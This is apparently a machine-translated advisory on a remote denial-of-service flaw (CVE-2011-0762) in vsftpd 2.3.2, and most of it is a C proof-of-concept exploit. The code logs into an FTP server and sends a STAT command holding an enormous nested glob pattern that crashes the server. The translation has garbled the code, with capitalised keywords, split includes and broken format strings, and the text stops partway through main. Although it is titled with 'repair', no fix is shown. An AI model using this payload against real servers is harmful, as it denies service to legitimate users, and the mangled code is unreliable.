Vsftpd FTP Server ls. c Remote Denial of Service Vulnerability and repair

Affected Version: Vsftpd 2.3.2

Vsftpd 2.3 vulnerability description:
Vsftpd is short for Very Secure FTP daemon and is a Secure FTP server on UNIX platforms.

Vsftpd has a remote denial-of-service vulnerability when processing ls. c. A remote attacker can exploit this vulnerability to cause the affected application to crash and DoS attacks to legitimate users.

 

<* Reference
Makers (max@jestsuper.pl)
Http://marc.info /? L = bugtraq & m = 129899539210104 & w = 2
*>

Test method:

# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>
# Include <sys/types. h>
# Include <sys/socket. h>
# Include <netinet/in. h>
# Include <netdb. h>
 
/*
This is code
Http://cxib.net/stuff/vspoc232.c
 
PoC CVE-2011-0762 (vsftpd)
Remote Denial of Service
 
Affected: 2.3.2
Fix: 2.3.4
 
Author:
Maksymilian Arciemowicz
 
Use:
./Vspoc232 127.0.0.1 21 user pass 1
 
Or read
Http://securityreason.com/achievement_securityalert/95
For more information

Example result:
Cx @ cx64 :~ $ Telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is ^].
500 OOPS: fork
Connection closed by foreign host.
 
*/
 
Int skip = 0;
 
Int sendftp (int stream, char * what ){
If (-1 = send (stream, what, strlen (what), 0 ))
Printf ("Cant send % s", what );
Else
Printf ("send: % s", what );
 
Bzero (what, sizeof (what ));
}
 
Void readftp (int stream ){
Char readline [4096];
If (recv (stream, readline, 4096,0) <1)
If (! Skip) exit (1); // end
Else
Printf ("recv: % s", readline );

}
 
Int sendstat (host, port, login, pass)
Char * host, * port, * login, * pass;
{
Char buffer [4097]; // send ftp command buffor
Int sockfd, n, error;
Struct addrinfo hints;
Struct addrinfo * res, * res0;
 
Memset (& hints, 0, sizeof (hints ));
Hints. ai_family = PF_UNSPEC;
Hints. ai_socktype = SOCK_STREAM;
Error = getaddrinfo (host, port, & hints, & res0 );
 
If (error ){
Errorcon:
Printf ("Can't connect. exit ");
Exit (1 );
}
 
If (sockfd = socket (res0-> ai_family, res0-> ai_socktype, res0-> ai_protocol) <0) goto errorcon;
If (-1 = connect (sockfd, res0-> ai_addr, res0-> ai_addrlen) goto errorcon;
 
Readftp (sockfd );
Snprintf (buffer, 4096, "USER % sPASS % s", login, pass );
Sendftp (sockfd, buffer );
Readftp (sockfd );
 
Snprintf (buffer, 4096, "STAT {{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*}, {. }}}] }}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}] }}}

}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}] }}}}}}}}}}}

}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}] }}}}}}} }}}}}}}}}}}

}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}] }}}}}}}}}}}}}} }}}}}}}}}}}}

}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}] }}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}

}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}" );
Sendftp (sockfd, buffer );
Freeaddrinfo (res0 );
}
 
Int main (int argc, char * argv [])
{
Char * login, * pass, logindef [] = "anonymous", passdef [] = "cxib.net@127.0.0.1 ";
 
If (argc <3 ){
Printf ("Use:./vspocw.host port [username] [password] [option] host and port are requieduse option